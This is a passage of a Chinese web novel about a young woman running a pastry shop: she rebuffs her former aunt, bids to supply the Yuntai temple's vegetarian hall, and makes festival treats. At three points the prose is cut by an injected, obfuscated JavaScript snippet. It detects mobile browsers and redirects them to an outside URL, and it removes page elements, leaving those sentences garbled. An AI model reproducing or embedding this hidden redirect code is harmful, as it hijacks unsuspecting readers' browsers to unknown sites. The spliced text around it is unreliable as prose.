这年头，大部分女子视婚姻为一生的归宿，一旦被休，指指点点是不可避免的，有的没娘家可回，又无钱财傍身，活不活得下去都是问题。 她和她娘闹成那样，还有什么娘家。自己要是被休，很可能落得个无家可归的结果。所以死活不同意。 “他俩吵出个结果没？”好安好奇道。 “你猜猜。”田桂挑眉，露出耐人寻味的神色。 “我猜他俩不会散伙，还得凑合过。”好安抬手将刚从罗里筛出的玉米淀粉又倒回罗里。这包玉米淀粉当时没包严实，有点受潮结块，今天好拿出来搓搓晒晒好收起来。 王翠花和好大山这个事情已经十天半个月了，她之前听田桂断断续续讲过一些。 好大山以王翠花犯了“七出”中的盗窃这一条要休妻，本以为是板上钉钉的事情，但王翠花曾给公婆守孝三年，符合“三不去”，不能休。二人一时僵住，谁也不退步，只能没日没夜的在家吵架。 吵架有什么，王翠花只要不同意，好大山吃多少秤砣都没用。 “错啦！”田桂轻轻的摇了摇头，说道：“他俩散伙啦！” 好安闻言一愣，问道：“王翠花同意了？” “对，你大伯为了休妻，分了将近一半的地给她。”田桂说道：“现在西边的五亩地都是她的了。” 那五亩地沿河，土壤肥沃，地势平坦，灌溉排水都很方便，是标准的上等田。 “怪不得。”好安说道：“这算合离。” 有这五亩地，王翠花都不愁再找一个。 “那她现在住哪？”好安问道。 王翠花和好大山既然合离就不适合继续住在一起，村里没有多余的房子，唯一能住人的就是谢宗林之前住过的破屋，里面的东西不知道他收没收。可好安转念一想，他俩离了王翠花就不算好家村的人，应该不会留在村里…… “回娘家了呀。” “哈？”好安面露惊讶，“她娘之前不到处说她狼心狗肺啥的，和她断绝母女关系了吗？这又啥事没有了？” “可能是——母女没有隔夜仇吧。”田桂抬头，耸了耸肩，没一会又补充道：“不过回去也好，不然在村里老打听你的事。” “她打听什么了？”好安抬头。 “就是你这边一天干哪些活，能拿多少工钱。”田桂说道。 “这不都公开的吗？” 好安当初在村里招人的时候，没有避着任何人，条件和工钱也都列得清清楚楚。 “应该还有其他的吧，不然周娟她娘也不会躲回娘家。” 好安没说话，但脸上确是一副我就知道她要搞事的神情。 好事不应坏事灵，说谁谁到。 好安刚把手里的玉米淀粉筛散，王翠花就摸来了。 几月不见，王翠花瘦了许多，腰杆子也没有以前直挺。皮松松垮垮地挂在颧骨上，垂在嘴角边。 “那个。”王翠花摆出一个谄媚的笑容，说道：“大侄女现在出息拉，一个人开这么大的铺子累不累啊。” “王大娘，你和我大伯已经和离，我俩又无任何血缘关系。你再叫我大侄女有些不合适吧。”好安面带微笑，语气却不容反驳。 “安安，那就叫安安。”王翠花满脸笑意，十分顺从地说道。 好安没吭声，出于礼节，抬手给她倒了杯茶。 “我看你铺子还挺忙的，你一个人忙不忙的过来呀。”王翠花一边说，一边眼睛滴溜溜的转着。时不时扫过后院的一砖一瓦。 “当然——”好安刚开口，她便立刻露出期盼的神色。 “忙的过来。”好安说道：“忙不过来我怎么还有时间坐说话呢。你说是不是？” “诶。你这都是落花，我帮你收拾收拾。”王翠花瞅到地上落了几点桂花，连忙要去扫扫。 “大伯娘来找我是有事想问吧。”好安拦住她，说道：“有事说事，不要扯别的。” “哈哈，还是安安爽快。”王翠花本就没想真去打扫，就顺势坐下，“我看你这生意不错，肯定需要人手吧。” 我看。肯定。 好安心里冷笑一声，直截了当道：“我铺子里不缺人。” “我知道。”王翠花满不在乎道：“你在村里招过人了，这些我都特意打听过了。再说你这铺子里一天要站上好几个时辰，我也吃不消。” 好安不禁挑眉，王翠花是有自知之明，还是是搁这欲扬先抑？ “你这前头不缺，后头总缺吧。”王翠花说完还四周看了看。 好安瞬间明白了她的意思，脸“唰”的黑了。 王翠花想进她的后厨。 好安一时都不知道说她是癞蛤蟆想吃天鹅肉还是鹌鹑想吃红樱桃，除了妄想还是妄想。 “我看这厨房就你一个人，肯定忙不过。大，我什么活都会干，这点小事保……”王翠花没看好安的脸色，伸着手指头自顾自的在这评头论足，好像这件事已经十拿九稳了。 好安在一旁看着，忍着想把王翠花的脸按在地上踩的冲动。 她刚准备起身骂王翠花脸呢，忽然一顿，转而说道：“行啊。明带着你的户籍文书过来。” 骂王翠花有什么用，她骂的都不够给王翠花给耳朵挠痒，她得让王翠花知难而退。 “要户籍文书干什么？”王翠花不解。 “王大娘不是打听过了吗，不知道后厨都是要签卖身契的吗？”好安坦然说道。 “这卖身契不能签。” 这个年代签了卖身契，就是奴，是财产。主家只要不直接弄死你，打骂随意，买卖皆可。 “我怎么说也是你长辈，你这么做不怕被人戳脊梁骨吗？”王翠花说道。 “双方自愿，有什么好戳的。”这下轮到好安满不在乎了，“人牙子手里还有五六十岁的呢，不照样被年轻的人买回去干活。你要是想来，不必过人牙子的手。我俩直接去一趟衙门，还能省一笔牙钱。” “这是你铺子，你直接安排我进后厨不就得了？”王翠花一掌拍在桌上，面露凶样，想逼好安收回条件。 “我的铺子。”好安似是而非地笑了一声，摆出引人误会的神色，说道：“王记酒楼你知道吗？我现在还在还在给他家做工呢。” 天天要给他家搓冰粉，怎么不算做工呢。 “你能不能进后厨可不是我拍拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030238|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大腿就能决定的，我还得带着你去给他们少东家过目呢。”好安轻转杯盖，撇出上浮的茶叶。 王翠花就是个欺软怕硬的东西。别看她在村里作威作福，出门路上碰见衣服穿好点的人都不敢抬头看，更别提王宁这种富贵人家。好安料定她不敢去私下找王宁。 “这，卖身契……”王翠花支支吾吾，卖身契不能签，但又想找个人养着。 村里现在看着最有出息的就好安了，可她现在不敢再好安面前太过放肆，毕竟好安把她送进去过，心里其实有点怵她。 “王大娘既然这么想去厨房干活，我这到有一个地方，还不要签卖身契。”好抿了口茶，继续说道：“说来这个地方还和王大娘有点渊源，里面应该有不少老熟人。” 王翠花一听有熟人就来了兴趣，熟人谁不知道她王翠花的厉害，这样她又可以偷懒了。 “就出门左转再右转就到了。那招一个厨娘。” “那不是衙门嘛。”王翠花连连摇头。 “是啊，衙门里的捕快牢犯都要吃饭，需要招一个厨娘。” 这事倒是真事，赵婶之前和她提过，衙门原来的那个厨子不干了，不少有门路的人都想接这份活。县太爷不想得罪人，又想找个真干活的，就把活往重的安排。现在这份招工还在县里各家牙行挂着呢。 “这份活计工钱不错，活也不难。”好安说着就挽着王翠花朝外走去。 “不了，不了。” 那种地方王翠花、这辈子都不想再去，一出门赶紧找了个理由溜了，身影还踉跄了一下。 见了这种人好安都觉得晦气，当天就抽空去庙里拜了拜。 万和县就一个寺庙，就是谢宗林之前去卖水的地方。 寺庙在半山腰，黄墙灰瓦，香火袅袅。 好安走出大殿，对路不是熟悉，便随意挑了一条小路沿着青石板来到一处长廊。 四周松柏环绕，绿竹掩映，静谧清幽。忽然，前方传来淡淡的面香，原来是斋堂。斋堂的门大敞着，里面有不少香客在吃饭。 好安原本不饿的，但看到大伙吃得都很香便突然觉得肚子有点空，也坐下点了一碗。 面条宽窄适中，薄而不烂，汤汁清亮，飘着几滴香油，再配上碧绿的青菜，有种空灵含蓄之美。 好安吃了两口，发现味道意外的不错。汤底鲜美甘甜，青菜的清新爽口，一碗面的口感丰富层次立体。 吃完饭，天色不早。好安便起身回家，没想到确在三圣殿门口碰见熟人。 “刚吃完饭，味道如何？”王宁看着好安出来的方向肯定道。 好安点点头，如实评价。 “能得到好老板的肯定，看来我家的面条是真的好。”王宁笑道。 “你家？”好安面露疑惑。 “你不知道吗？这云台寺的斋饭都是寺庙和酒楼合作的。” 好安歪头挑眉，她还真不知道。 “点心呢？”好安问道。 她刚刚吃饭的时候还看到了不少点心，但一碗面已经够她吃的了，便没要。 “点心自然是和点心铺。好老板不是为这个事来的吗？” 好安眼睛一转，笑着说道：“之前不是，但刚刚是了。” 34. 葱油桃酥 “寺庙可以和酒楼合作？”好安有点疑惑。 她以为寺庙就是和尚念经做法事，信徒捐钱求心愿的地方。没想到还能从事商业活动。 “当然。”王宁笑笑，走在前面，“商人捐钱修建寺庙，获得名声和庇佑。寺庙举办庙会、经营斋堂给商人提供机会。不仅斋堂，云台寺还有碾坊、油坊、长生库。” “长生库是什么？” “寺庙叫长生库，民间叫印子钱。” 寺庙还放高利贷，好安暗暗一惊。 好安还没来得及多问几句，二人已经来到客堂前。 这里是寺庙安排专门会见各位东家和掌柜的地方。 “斋堂的点心有好多家铺子盯着呢。”王宁侧头低声说道：“好老板要是能拿下这次合作，对好记有利无弊。” 这话没错。云台寺活动很多。像每月初一、十五是固定的祭供日。更不用说每年的元宵、二月二、清明之类的，几乎全民参与。 要是能拿下这次合作，不仅能扩大好记的知名度，还能积累客户。 好安点点头跟着王宁进去，随便找了一不起眼的角落坐下。 静立在一旁的小僧，立刻递上一杯茶。 陆陆续续又来了几人，师傅见客堂坐满了便让人关上门，给在座的各位都发了一个双贴请帖，但请帖送呈的地方是空白的。 好安扫了一眼桌上提前备好的纸笔，心道：云台寺的规矩倒是有趣。别人都是先递请帖，再上门。他这先上门，再给请帖。不过也多亏这样，不然她还没这个机会。 写好请帖，坐在首位的师傅讲了一些斋饭需要注意的事情便起身离开了。 师傅一走，客堂里一下活跃起来，相熟的人开始寒暄。 天色已晚，好安除了王宁谁都不认识，便起身赶着回家。 她刚走到门口，便感觉身后有视线射来。好安下意识的回头，视线又忽然不见了。 客堂内早已掌灯，昏黄的灯光打得人影重重。每个人都在和身边人有说有笑，好安根本分不清刚刚是谁。 “走吧。”此事王宁正好走到门口，好安便接过小僧递来的灯笼，顺道离开了。 “刚刚十几人里有多少是卖点心的？”好安逛过万和县所有的点心铺，但刚刚那些人里只有一两个眼熟。 “加上你刚好五个。八个酒楼的，五个点心的。”王宁说道：“坐你前边的是甜园的掌柜，左边的是街香居的掌柜，斜对面穿蓝衣服的是桃源斋的少东家，红腰带的是糖糕记的。” 云台寺下山的这段路是台阶，又陡又窄，白日里走还好，晚上一不留神就能一滑到底。 王宁的小厮在前面打着灯，不时的提醒王宁和好安小心脚下。 好安急着回家，动作便急了些，忽然不知踩了什么东西，打了一个踉跄，幸亏王宁眼疾手快抓住她的衣服没让她摔了下去。 “你要是在这摔了，就赶不上云台寺的考核了。”王宁收回手说道：“崴着了吗？” “没。”好安活动一下脚踝，感觉没什么大碍。 “要人扶吗？” “不用，就剩几步路了。” 好安道完谢后把灯笼稍稍放低了些。 后面好安便不说话了，将注意力全部放在脚下。 “那是不是你家小厮？”王宁看着前面有个眼熟的人打着灯笼往上走。 “对。” 好安连忙朝谢宗林挥了挥手，喊到：“这里。” 天都黑了好安还没回来，谢宗林不由胡思乱想，纠结片刻后立刻打着灯笼朝寺庙赶来，见着好安平安无事才松了口气。 王宁见好安有人来接便先行告辞。 回到家，好昕立刻扑了上来，眼泪汪汪的喊着姐姐。 “怎么哭啦。”好安擦掉他的眼泪，轻轻地捏了捏他的小脸。 谢宗林说道：“你出去时间太久，天又黑了，他担心你。” “嗯。”好昕把头埋在好安怀里，长长的哼了一声。 “好啦，姐姐只是去谈事情啦，现在不是回来了吗。”好安揉了揉他的脑袋，说道：“男儿有泪不轻弹。快去洗把脸，不然要变成小花狸啦。” 吃饭的时候，好安拿出云台寺的请柬宣布她准备参加云台寺的考核，只要拿了第一就能和云台寺的斋堂合作。 “云台寺的斋堂！”反应最激动地是田桂。 “你知道？” 田桂头点得像鸡啄米，“我小时候和我娘去过。那的斋饭好好吃。而且云台寺每年都会把供奉过的点心水果送给香客。我去年还分到一个甜园的茯苓糕呢。” “去年也是甜园赢？” “对啊，今年、去年、前年都是。连赢三界，名声大噪。”田桂说道：“我娘说，县里有钱人做寿请客啥的就爱请赢了的铺子里的师傅来家做点心。说是得菩萨青睐，吉利。这次我们要是赢了的话，那不仅云台寺明年的供果就是我们好记甜品，这些有钱人也会主动来找我们。” 田桂手舞足蹈，仿佛头名已经收入囊中，兴奋的筷子都甩飞了。 这么看的话，和云台寺的合作很重要。县里的有钱人，谁家每年不做几回东，这可是巨大的潜在利益，也是潜在市场。 “考核什么时候开始？”谢宗林问道。 “先考核酒楼，点心的话可能在重阳节附近。” “重阳也快了。”谢宗林明显比田桂冷静许多，问道：“你忙的过来吗？” 中秋过后，好安一边把月饼分批下架，一边着手推出新的甜品。除此，她还忙着给好昕找学堂。 自从好记开业来，好昕天天早起坐一个时辰的牛车去村里上学，放学后再坐一个时辰回来，这样来回跑不仅浪费时间，也不安全。 好安便想着在县里找一合适的启蒙私塾，最好离好记近些的，方便。 “忙的过来。好昕的事已经有苗头了，过几天我带他去给先生瞧瞧。” 这个年代不是你交了束脩别人就愿意教收你做学生。能不能被收下还要看求学者的天赋和先生的意愿。 “对了，你们最近留一下店里有没有什么奇怪的人。”好安想到今天后背的目光，就觉得有些不舒服，又补充道：“采买东西的时候也留意一下。” “有人要害我们？”田桂从饭里抬头，语气中带着一丝不可置信。 “不知道，但防人之心不可无。”好安说道。 第二日，好安早早的起来准备今天要卖的东西。 云台寺要的考核重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15037525|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要，但做好眼前的事情也重要。 好安抬手伸了个懒腰，顿时觉得脑子清醒了许多。 年轻就是好。昨天睡得晚，今天起得早，但身体没有半点不适。 天边太阳还没完全升起，好安轻手轻脚的开始洗漱。她今天要用许多小香葱，院子里种的这些只够日常吃的，要是用到铺子里远远不够。 这个点已经有很多菜农挑菜出摊了。现在去正好能买到最新鲜的一批。 好安背上篓子就要出门，忽然肩上一轻，好安回头看去，只见谢宗林拎着篓子现在她的身后，说道：“我来。” “你什么时候起的？”好安瞪大眼睛。 “和你差不多。”谢宗林低声说道：“我和你一起去吧。” “行。”好安把篓子从肩上取下，二人一起走出后院。 早上的空气格外清新，偶有一阵风吹来，带着一丝凉意。 这一片的菜农少，价格也稍微贵点。要想物美价廉的还是要往南边和西边去。那边离城门近，人多菜农也多。 小香葱算调味料，价格比韭菜这些蔬菜要贵上一些，而且卖得也少。好安逛了一圈，这家全要，那家全买的也才勉勉强强凑够了三斤小香葱。 一斤葱差不多能出一半的葱花，三斤也就一斤半多点，只够用一天。 一个卖菜的大爷见好安把他的葱全都买走了，于是好心提醒道：“小娘子，这个葱放不了太长时间，买太多吃不完会烂的。” “我知道的。这么多我家用得完。”好安顺势问道：“大爷家还有葱吗？” “有哇。” “那明天能给我带三斤吗？” “能是能。”大爷嘴上应着，脸上却露出怀疑的神情。三斤葱也要六七文呢，大爷又问道：“你真的要三斤吗？” “要的。”好安留了个地址，大爷才稍稍放心，说道：“行，那我明天给你送去。” 回到家，好安先去准备其他的点心。她从不在早上推出新品，因为根本忙不过来。 等中午稍微清闲一些，她才开始准备新品。 上次咸口月饼反馈不错，下架后不少人来问有没有咸味的点心，于是好安今天准备推出葱油桃酥。 传统的甜味桃酥万和县每个点心铺都有，有些人家还会加上核桃瓜子之类的坚果，吃起来酥松香甜，入口即化。 葱油桃酥和传统桃酥最大的区别就是不以甜味为主，用葱香冲淡甜味，把甜味、油脂和葱香融合，使得桃酥香气多层，辛辣又不失温和。 桃酥刚出锅，正好轮到田桂吃午饭。 金黄的酥底色泽浅亮，绿色的葱花镶嵌其中，不规则的裂纹纵横交错，像是在诱惑你品尝。 “好香！”田桂围着烤炉深吸一口气，恨不得把所有香气都吸近肚子里。 “我们先尝尝。”好安挑了几块已经凉了的分给大家。 “这个好酥脆。”周娟看着手里一用力就要碎的桃酥说道：“有些客人夹子用不好肯定一夹就碎了。” “你这个问题提的好。”好安拍拍手，连忙翻出油纸叠成一个个小口袋，说道：“这个我们尽量成袋卖。要是有客人想散买，你们帮他们夹。如果有客户夹碎了，只要不是恶意的就当没看到。” 35. 通草花 从私塾出来，好昕耷拉着脑袋，往日乌黑灵动的头发也软软地垂在身后，诉说着小主人的失落。 好昕正在启蒙的年纪，这个时间段不仅要学习知识，还要注重道德教育。好安便想着给他挑一个学问渊博，品德端正的先生。这个私塾的授课先生就素有贤名，而且还离家近。唯一的缺点就是严格。 “姐姐，我是不是太笨了？”好昕微微抿起嘴唇。刚刚考校《三字经》时，他背得有些磕绊。 在好安看来一个孩子能把几百上千个字背下来已经很厉害了，可先生却微微摇了摇头，委婉回绝了。 “昕昕为什么会这么想？”好安蹲下身子，轻轻抬起他低垂的脑袋，和声问道。 “先生没收我。”好昕眼里满是失落。 “谁说他不收的就是笨的。”好安握住他的小手，捏了捏。 “我背错了。”好昕嘟囔道：“先生收的都是没背错的。我背错了，先生肯定觉得我笨，不收。” “姐姐记得昕昕《千字文》背很熟练，是不是。” 好昕点点头，说道：“这个学了好久。” “昕昕是一开始背就很熟练吗？” 好昕摇摇头，“一开始错好多。” “但你现在已经背熟了呀。”好安说道：“你学得时间久，背的次数多就熟练了。《三字经》你刚学，背不熟练是正常的。这个和聪明、笨扯不上关系。” “真的吗？”好昕眼里闪过一丝犹疑。 “对呀。”好安继续说道：“你看姐姐做红豆馅是不是都要把红豆泡满四个时辰。” 好昕点点头。 “先生给你的考核就像姐姐用红豆。先生想招能熟练背颂《三字经》的学生，姐姐想用泡了四个时辰的红豆。这个是先生和姐姐设的要求。但你能说泡了三个时辰红豆就不是好红豆吗？” 好昕摇摇头。 “所以先生没收你和聪明不聪明没有关系。” 好昕似懂非懂的点点头。 “那今天还有一家私塾，我们还去吗？”好安问道。 好昕犹豫了一下，眼神逐渐变得坚定，“去。” 下一家私塾的先生年纪偏大，头发胡子都掺了白，说话举止都很轻柔。问了好昕几个问题，见他都大大方方的回答了便点头收下了。 第二家顺利通过，好昕顿时自信了不少，第一家的事情便渐渐淡了。 好昕的事情结束，好安便全力准备重阳节的活动。 九是阳数之极，九月九日，两九相逢，故称重阳。这一天除了登高望远，遍插茱萸，还要赏菊饮酒，吃重阳糕。 如此盛大的活动，店里少不了装饰一番。 好记甜品不似其他店铺，吃食都放在摆在眼前。若是用一盆一盆的菊花来装饰，肯定要带着泥土，脏兮兮的。 于是好安想到一种永不凋零的花——通草花。 现在就是通脱木最佳的砍伐时节，茎髓趋于饱满，水分变少便于晒干。 通脱木也很好找，县城里面不多，但稍微朝县城外走走，随处可见。 砍通脱木也不是什么技术活，只要选树龄两到三年的就行。周娟见她爹正好没事，便把这活揽了下来。不然在家闲着也是闲着，还不如砍树多少赚点。 砍好的通脱木按照需要的长度截成若干段，再用竹筒顶出木头里的茎髓。 这个茎髓就是通草。 通草晒干后放在平整的地方，好安能做的就到这一步了，剩下的就是她指挥，谢宗林和好昕意会。 将通草轻轻压住，用刀沿着一边切成薄而半透的通草纸。再将通草纸切成上窄下宽的纸片。宽的做花瓣尖的，窄的做靠近根部的那头。 “菊花花瓣的纹路是最难的，每个花瓣要差不多大，要蜷曲要自然。” 好安嘴上说的太抽象，可只有她一人知道大概怎么做。所以手工再烂，她还是要拿着一张通草纸做示范。 刚把通草纸对折，纸就裂开了。不止她的，谢宗林和好昕的也裂了。 “湿毛巾！”好安想起来，她在网上刷视频的看到那些博主都把通草纸放在湿毛巾里。 好安照葫芦画瓢也翻出一块干净的布，打湿后微微拧干，然后把剪出来的通草纸都放进去润一润。 “应该差不多。”好安拍了拍湿布，重新拿出通草纸，这回对折就没裂——成功的第一步！ “后面就这样揪揪揪，它就会变弯。”好安四个手指头捏着薄薄的纸搓搓搓，好好的一张通草纸瞬间变得皱巴巴。 嘴上说的和手里做的完全不一样。谢宗林和好昕很难理解。 “我记得就是两根手指动几下啊。”好安把自己的通草纸拉平，重新来过。 “这个是不是要修一下？”谢宗林道：“菊花的花瓣尖两边是弯的，这个方方正正的，应该揪不出自然的花型。” “有道理。”说完，好安理所当然的把手里的通草纸递了过去。 好安的纸已经揉得不成样，谢宗林接过后默默的拿了张新的修好后递给了她。 “我记得就是这样，捏出弧度然后揉一揉按一按就行。”好安嘴上轻轻松松，手里却坎坎坷坷。 “姐姐，要不我们去买盆菊花照着模仿吧。”好昕看着姐姐手里又废掉一张，忍不住建议道。 “有道理。”趁着中午还有时间，好安立刻出去买了两盆形态各异的菊花。一盆是花瓣细长如丝，从花心向外伸展的金丝□□，一盆是花朵大而饱满，花瓣厚实又灿烂的万寿菊。 谢宗林和好昕各摘下一片花瓣仔细研究。 好安见他们专心这个便不打扰，也去研究自己的吃食了。人还是专注自己擅长的比较好。 酒楼卖菊花酒，点心铺自然要卖菊花酥和重阳糕。 菊花酥有两种，一种是扁平的暗酥和半暗酥，万和县的花酥多是这两种做法。菊花酥、桃花酥之间没有太大的区别，就是多捏几个花瓣的问题。还有一种是立体的明酥，花瓣要立起来，像一朵真正的菊花一样，层层叠叠，丝丝缕缕。 好安觉得第一种谁都会做，她好记要做就做不一样的，但第二个有些难度。 要想像朵真菊花，花瓣不仅要立起来，而且要立的整齐。 好安擅长做西点，这种油炸糕点已经很多年没做过了。 试了几次，花瓣一到油锅里就像头发伸进风里，狂野不羁，凌乱不堪，每片花瓣都像注入了一个独立的灵魂，各有各的想法。 若改用烤的话，花瓣又张不开，愁煞人。 做法就在这，只能多练。 炸了半天，好安也渐渐找回手感。 皮不能叠太多层，不然花瓣太薄太多，容易乱。刀口也不能切太大，容易塌。面团要放在笊篱里，小火低温。 花型稳了，好安便开始定颜色。 南瓜里的胡萝卜素稳定，高温也不会变色，可以用来做黄色的菊花或者花蕊。 波棱菜焯水加盐固色，做绿色的菊花花瓣。 紫色用紫薯，红色用红曲。 红黄绿紫，四种颜色就做四种馅料。 ———— 重阳当日，好安在门口摆了一个大大的多层花架，架子上错落有致的摆上菊花。 好安骨子里是现代人，哪怕架子上除了菊花还有茱萸枝，也感觉怪怪的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047947|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可这里习俗如此，只能硬着头皮搞了。 花架最上面是谢宗林和好昕琢磨出来的通草花。 这盆通草花是仿着这几年最受追捧的瑞云殿做的。全身纯白，花朵飘逸纯洁，仿若云端仙子落凡尘。 “咚咚咚”。 好安一手锣一手锤，站在好记门前，高声道：“九九重阳，日日暖阳，今好记大酬宾。凡是到店消费满四十文，便可来参加摸奖活动。”说着，好安指了指最上面的一盆道：“一等奖，瑞云仙子。此花……” 好安还没说完，就有人叫唤起来：“那不是瑞云殿吗？我们抽到了真的会给我们吗？” 市面上一株瑞云殿少则几十两，多则百两，花型越好价格越贵。 “当然，现场交付。不过我这个是瑞云仙子。”好安脸上挂着笑。 “不长一样吗？”围观群众不明所以。 “瑞云殿会凋谢，但我这朵瑞云仙子，只要开了便永不凋谢，而且仅此一朵。” 此话一出，引起轩然大波。 “世上怎么可能有花不会凋谢！” “你好奇，中回去不就知道了。”有人笑道。 很快，好记有一朵永不凋谢的菊花如风一般刮透整个万和县。 爱花的老者，爱美的姑娘，不少人慕名而来。 好安神秘地笑了笑，对此不再多言，继续介绍其他奖品。 “二等奖，菊花酥一份，限量十份。” 好安定了十个四宫格木盒，四种颜色各放一朵。层层分明的菊花在菊叶的掩映下仿佛真要随风起舞。 “这个好香。” “说明猪油放得足。” “店里是不是也有？” “有，但四个要八十文呢。谁要是抽到了它那可赚大了。” 好安说一个奖，大伙就要讨论一下。 “三等奖，好记重阳糕一份。” 好记的重阳糕做得又高又大，顶部洒满了羊肉、猪肉、鸭肉的丝簇，再插上五色小彩旗。好安把它切成大小均匀的块头，摆放在门口。 “这个糕比我拳头都大” “我刚刚数了足足九层。” “现在好多都是五层，还是好老板实在。” “四等奖，好记茱萸香包一个……” 香包是好家村村民做的，没有绣花。用植物染印的方法，印上或者画上茱萸、纸鸢、菊花之类的花样。 “只要满四十文，就能参加摸奖活动。摸到就是赚到。”好安举起一旁的抽奖箱，说道：“好记保证把把有奖！” 好记的每个奖品都很拿的出手，最多的香包虽然简朴但也别有一番野趣。 众人一听把把有奖，立刻冲了进来。 有的人就是图个新鲜，胡乱地拿个几个凑够四十文便急冲冲的去排队等摸奖。 “中了，中了！二等奖！”摸了二三十个香包和重阳糕，终于有人中了菊花酥。 “四十文赚了八十文，这个人运气真好。” “我能中个三等奖就知足啦。” 这是目前最高的奖，一群人围在门口，看着他从好安手里接过第一份菊花酥。 中奖的包装和自己花钱买的包装可不一样。小郎君昂首挺胸双手接过，听见旁边羡慕的声音顿时觉得自己特能干还倍有面。 有些人不差钱，且对瑞云仙子充满执着，就想拿下来仔细瞧瞧。 只有假花永不凋零，可瑞云仙子茎叶上的纹理毛绒又不像假的。 于是化身氪金大佬，一次不中就再来四十文，手里拎着五六个的重阳糕，腰间别着一排的香包，嘴里还不停地嘀咕着：“中，中，中。” 36. 枣泥山药糕 夜幕四垂，忙碌的一天落下帷幕。 好安锁好前门，回到后院。 “明天上午我要做云台寺的点心，可能顾不上铺子里的事情。刚来的那个姑娘还不是很熟悉，你们要注意一下。” 云台寺的考核就是一次招标，时间一到你带着点心去寺庙交货就行，唯一要求——素食，忌荤腥和五辛。 葱、蒜、韭、薤、兴渠为五辛，可荤腥就有点模糊。 大鱼大肉这些一看就是荤腥，但鸡蛋牛奶这两样东西算不算荤腥就很有争议，不同的地区和教派对此看法也不同。 有的认为未授.精的鸡蛋孵不出小鸡，所以吃未授.精鸡蛋不算杀生，牛奶亦如此。 有的则认为鸡蛋和牛奶涉及动物和生命，所以是荤腥，禁食。 偏偏这两样是点心常用材料，为了防止出错，好安特意去了趟云台寺。 云台寺表示认可第一种，但负责斋堂的职事僧说完后又来了一句转折，点心要清淡。 简言之就是可以用但不建议，用了最好也不要让人一眼看出来。 好安回去后立刻打听了一翻，最近几年被选中的点心确实没有这两样，而且都融入了具有药用价值的食材。 就拿甜园来说，第一年的绿豆糕，不仅口感绵密，清甜湿润，绿豆还有清热解毒的功效。 第二年的菱粉糕，粉粉糯糯，香气含蓄，菱角也补脾益气 第三年的茯苓糕中的茯苓更是利水渗湿、健脾宁心，用途广泛。 他们即可冷食也可热食。 好安还想研究一下落标的点心，但没打听到。 也是，各家铺子都要开门做生意，要是传出去自家的什么输给了他家的啥，不是灭自家口碑长他人名气嘛。 所以没选上的铺子都形成一种心照不宣的默契——谁也别说。 被选中的也不会透露其他家做了什么点心，这逐渐变成一种不成文的规定。 云台寺既然喜欢药食同源，好安思虑再三，决定做一份枣泥山药糕。 九月正是山药成熟的季节。 红枣养血安神，山药益气养阴。 若是普通的枣泥山药糕，明天一早做即可，但若想得青睐，普通的肯定不行。 就像甜园的绿豆糕、菱粉糕、茯苓糕，这三样都是万和县常见的点心，每家点心铺都有的卖，可为何云台寺选甜园，不选其他？ 这三样点心好安挨家挨户尝了，大同小异，只有甜园花了心思。 甜园的绿豆糕不知用了什么方法，就是比别家甜得自然。菱粉糕其他家的都十分寡淡，但甜园的就越吃越香。茯苓糕也是，做不好的有苦味、发硬、干干糙糙，甜园的却软糯又不失嚼劲，而且米香久久不散。 好安知道一个枣泥方子，按照这个方子做出来的枣泥香味浓郁，口感丰富，就是时间比较久，若是明天一早做，就有点赶。 “今晚就开始做吧。”好安说道。 好昕核桃仁剥皮，谢宗林烘山楂干再研磨成粉，她煮红枣干，每个人都不闲着。 做枣泥最好用西边来的红枣，皮薄肉厚，个大核小。 晒过的红枣煮至膨起，一般的枣泥去核就行，但想要口感细腻，味道醇厚皮也要撕干净。 枣肉捣成泥，小火上锅，少量多次的加油搅拌。 “姐姐如果不是素食是不是要加猪油？” 这年代，在大部分人眼里猪油才是最好最养人的。好安之前也经常用猪油，但这次她在一堆油罐里特意挑了玉米油。 “不，枣泥放猪油容易腻。” 好安不停的推动锅铲。枣泥的颜色逐渐加深，等变得浓稠也不粘锅底时，便出锅加入核桃碎和山楂粉。 “这样就行了，剩下的明早做也来得及。”好安把枣泥搅匀用纱布盖好。 “不加糖吗？” “这个枣子甜度够了。”好安解开围裙，扭了扭僵硬的脖颈。 谢宗林灭掉灶膛里的火，主动起身将台面上的锅碗瓢盆收进桶里，一边拿着抹布清理台面炉灶，一边将好安用过的瓶瓶罐罐归位。 好安将盆端去井边，准备打水洗碗，谢宗林见状连忙说道：“放着，我来。” “没事，早点忙完早点睡觉。” 好安把碗抹上草木灰，手正要伸进凉水时，谢宗林端着一盆热水急匆匆的赶来。 “井水有点凉了。”说着兑半盆热水给好安。 好安脸突然一红，难道自己半夜起来洗裤子被发现了？ 